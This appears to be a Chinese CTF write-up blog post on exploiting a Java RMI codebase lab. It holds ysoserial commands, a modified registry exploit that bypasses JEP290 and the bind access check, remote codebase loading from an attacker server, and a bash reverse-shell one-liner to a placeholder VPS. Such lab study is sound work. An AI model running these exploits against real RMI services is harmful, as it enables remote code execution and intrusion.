Java rmi-codebase记录

Java rmi-codebase记录

前些日子去buuctf找点题打打,发现了这个0人解开的题目。正好学习了RMI以及JNDI相关的攻击手法,想试试看能不能拿下一血。这里做个记录。

初次尝试结果碰壁

首先我拿nmap扫了下靶场给的域名和端口,确认无误端口开放的是rmi服务。

一开始我的思路是这样的,题目提示了rmi-codebase,于是很自然的想到java.rmi.server.useCodebaseOnly这个配置项很可能是开着的。曾经用过这个配置项去远程动态加载代码引入依赖,我对此理解是用来提供一个依赖环境让注入的payload能够顺利反序列化。和我先前做过的实验不同的是,这次我并没有发现RMI registry有给我什么函数让我直接把恶意数据传上去反序列化。

网上看了一些师傅的文章,我做了一些尝试:

尝试RMI + JNDI Reference利用

这个打法只适用于8u121之前

把恶意payload绑定到RMI registry上,使其远程的Codebase加载Reference工厂类

再次搜索资料我搞清楚了远程加载的工厂类的写法,依靠静态代码块等方式执行命令

编译成class按照三梦师傅的方法bind到RMI registry

Reference reference = new Reference("Evil","Evil","http://myvpsip/Evil.class");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("hack",referenceWrapper);

并没有那么顺利,dnslog那边没有记录,而且程序本身也报错

Caused by: java.rmi.AccessException: Registry.bind disallowed; origin /myvpsip is non-local host

大概是触发RMI的安全机制,不让非本地ip进行Registry bind,后续我也尝试用三梦师傅文章中提到的把ysoserial的payload动态代理成Remote,并注册到Registry注册中心。但是绕不开bind这一步。

到这里我已经没啥办法了,我思考可能要去尝试上述文章提到的8u191之后的rmi攻击方法。

好消息是在搜索Registry.bind disallowed问题的时候看到长亭师傅的文章:Java RMI远程利用分析

理清思路

常用的攻击RMI服务的两种方式(ysoserial一把梭):

通过RMI DGC攻击 RMI Registry

通过查看其对应的源码就可以看到这种攻击方式的关键点是由makeDGCCall函数发送生成的payload,攻击目标是由RMI侦听器实现的远程DGC(Distributed GarbageCollection,分布式垃圾收集器)。它可以攻击任何RMI侦听器,因为RMI框架采用DGC来管理远程对象的生命周期,通过与DGC通信的方式发送恶意payloadRMI Registry反序列化。

对应的使用ysoserial命令如下

java -cp ysoserial.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections1 "cmd"

限制:JDK版本< 8u121(JEP290之前) ,并且目标有能利用的Gadget

在测试中发现触发JEP290后,Registry会出现ObjectInputFilter REJECTED

通过注册恶意payload 攻击 RMI Registry

ysoserialRMIRegistryExploit提供了另一种对RMI的攻击思路,即利用向服务端的Registry注册远程对象时的反序列化步骤,将恶意payload插到注册的数据中进行利用。当RMIRegistry中存在对应利用链时就可以执行命令。

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1 "cmd"

限制:JDK版本< 8u121(JEP290之前) ,并且目标有能利用的Gadget

另外搜索资料发现bind 在jdk8u141-b10(更新链接)以后检查了localhost,添加了checkAccess策略,这也说明题目靶场环境的JDK版本是高于8u141的。

检查靶场环境

题目下面给的链接是p牛的vulhub靶场,下载下来后我主要检查了dockerfile

FROM openjdk:8u222-jdk

LABEL maintainer="phithon "

ENV RMIIP="127.0.0.1"
COPY src/ /usr/src/
WORKDIR /usr/src

RUN set -ex \
    && javac *.java

EXPOSE 1099
EXPOSE 64000

CMD ["bash", "-c", "java -Djava.rmi.server.hostname=${RMIIP} -Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=client.policy RemoteRMIServer"]

可以看到靶场的jdk版本是8u222,而且关闭了codebase的限制。另外靶场没有任何能利用的Gadget,这时我确信了codebase是用于创造反序列化的环境的。

此时的问题有两个:怎么绕过JEP290限制和绕过bind的本地限制

绕过JEP290限制

参考一次攻击内网rmi服务的深思

按照上述文章的说法,作者是实现的思路与payloads/JRMPClient相同,但是却不能直接用RMIRegistryExploit 调用JRMPClient

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1299 CommonsCollections6 "cmd"
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit "target IP" 1099 JRMPClient "JRMPListener:1299"

会出现filter status: REJECTED

原因如下

引入exploit.JRMPListener和payloads.JRMPClient就可以绕过jep290

但我们不能直接指定JRMPClient这个payload来做RMIRegistryExploit的payload,因为AnnotationInvocationHandler是会使服务端抛出REJECTED的,但是还记得我们前面说过,AnnotationInvocationHandler这个类在RMIRegistryExploit中的使用只是为了把对象包装成Remote接口,而分析了JRMPClient这个payload发现它的反序列化过程本来就是从RemoteObject#readObject开始的。

简单解释下,RMIRegistry在处理payload时会调用Gadgets.createMemoitizedProxy(),期间创建了一个AnnotationInvocationHandler对象实例作为反序列化的入口,很明显会被JEP290拦截。

这里只能对RMIRegistryExploit进行改造。

public class RMIRegistryExploit2 {

    private static class TrustAllSSL extends X509ExtendedTrustManager {
        ......
    }

    private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
        ......
    }

    public static void main(final String[] args) throws Exception {
        final String host = args[0];
        final int port = Integer.parseInt(args[1]);
        final String command = args[2];
        Registry registry = LocateRegistry.getRegistry(host, port);
        try {
            registry.list();
        } catch(ConnectIOException ex) {
            registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
        }

        // ensure payload doesn't detonate during construction or deserialization
        exploit(registry, command);
    }

    public static void exploit(final Registry registry,
                               final String command) throws Exception {
        new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {

            String name = "pwned" + System.nanoTime();
            JRMPClient1 jrmpclient = new JRMPClient1();
            Remote remote = jrmpclient.getObject(command);
            try {
                registry.bind(name,remote);
            } catch (Throwable e) {
                e.printStackTrace();
            }
            return null;
        }});
    }
}

这个绕过仅仅适用于8u141以下版本

绕过bind的本地限制

这里准确说法是绕过checkAccess限制

8u231前的checkAccess绕过

注册中心时反序列化的点在RegistryImpl_Skel#dispatch中,通过一个switch分支调用bind,rebind,unbind和lookup,其中lookup方法没有checkAccess。问题在于RegistryImpl_Stub#lookup这个方法只接受一个String参数,需要重写一个lookup方法以Remote对象为参数。这里直接上代码

public static Remote lookup(Registry registry, Object obj)
    throws Exception {
    RemoteRef ref = (RemoteRef) Reflections.getFieldValue(registry, "ref");
    long interfaceHash = Long.valueOf(String.valueOf(Reflections.getFieldValue(registry, "interfaceHash")));
    java.rmi.server.Operation[] operations = (Operation[]) Reflections.getFieldValue(registry, "operations");
    java.rmi.server.RemoteCall call = ref.newCall((java.rmi.server.RemoteObject) registry, operations, 2, interfaceHash);
    try {
        try {
            java.io.ObjectOutput out = call.getOutputStream();
            //反射修改enableReplace
            Reflections.setFieldValue(out, "enableReplace", false);
            out.writeObject(obj); // arm obj
        } catch (java.io.IOException e) {
            throw new java.rmi.MarshalException("error marshalling arguments", e);
        }
        ref.invoke(call);
        return null;
    } catch (RuntimeException | RemoteException | NotBoundException e) {
        if(e instanceof RemoteException| e instanceof ClassCastException){
            return null;
        }else{
            throw e;
        }
    } catch (java.lang.Exception e) {
        throw new java.rmi.UnexpectedException("undeclared checked exception", e);
    } finally {
        ref.done(call);
    }
}

在绕过JEP290版本的RMIRegistryExploit代替registry.bind

至于8u231版本后怎么绕checkAccess可以看我文章最后参考部分其他师傅的文章。

再尝试

codebase环境加载的奇怪问题

到这里我感觉就已经解决了这道CTF题了,事情并没有我想象的那么简单,因为题目环境并没有可以执行命令的Gadget。

正常思路是配置java.rmi.server.codebase,这里我在vps上用http服务共享CommonsCollections3.1的jar包。

在修改后的RMIRegistryExploit2做如下配置

System.setProperty("java.rmi.server.codebase", "http://vps:8080/commons-collections-3.1.jar");            System.setProperty("java.security.policy","file:D:\\vuln.policy");
if (System.getSecurityManager() == null) {
    System.out.println("setup SecurityManager");
    System.setSecurityManager(new SecurityManager());
}
#vuln.policy
grant {
   permission java.security.AllPermission;
};

结果靶场并没有执行任何命令,也没有加载反序列化需要的jar包。

我在自己机器上起了一个RMI Registry服务,用相同的jdk版本8u222,设置-Djava.rmi.server.useCodebaseOnly=false

在服务端做相同配置,发现服务端正常加载了所需jar包成功RCE。这里我有一个疑惑,为什么直接在服务端做配置可以加载,而攻击者这一端不行。另外,主动在自己的服务端引入所需依赖环境,先前的绕过姿势是能够成功RCE的。

后续用bit4woo大佬的ysoserial进行测试,使用RMIRegistryExploitJdk8u231能够顺利加载环境依赖RCE。目前尚不清楚8u141-8u231之间的改动。

回过头打buu的靶场又碰到了问题,反弹shell弹不回来

Java Exec函数的坑

一般来讲,用bash执行反弹shell的命令是这样的:/bin/bash -i >& /dev/tcp/vpsip/vpsport 0>&1

问题出在这里,这里的命令不能直接当cmd给反序列化最终执行的exec函数当参数。

网上搜寻了许多资料后得到正确的执行姿势:bash -c bash$IFS$9-i>&/dev/tcp/vpsip/vpsport<&1

成功反弹shell,翻了buu靶场的机器目录后才发现为什么没人拿一血,大概是直接起的p牛靶场所以没有flag文件。

参考与总结

不得不承认能学会这么多利用姿势全靠站在巨人的肩膀上

8u191后的JNDI注入利用:这篇文章介绍的RMI攻击方法在低版本比较适用

搞懂RMI、JRMP、JNDI-终结篇:三梦师傅的文章,更侧重代码调试和RMI的原理,写文章的思路也是针对JNDI利用,按照不同的jdk版本介绍相应的攻击手法。

Java RMI远程利用分析:长亭师傅写的文章,主要在死磕rmi服务这块给了不少思路,缺点是代码和命令贴的不是很全

一次攻击内网rmi服务的深思bsmali4师傅写的,关于如何绕JEP290写的相当详细

从ysoserial讲RMI/JRMP反序列化漏洞 :高版本jdk rmi利用的姿势大全,代码全讲明白了

针对RMI服务的九重攻击 - 下:评价同上,有实战价值

Java Runtime.exec() 执行命令与反弹shell(下):解释exec函数为什么有坑,以及绕坑方案,实战意义很大

你可能感兴趣的:(java学习,java)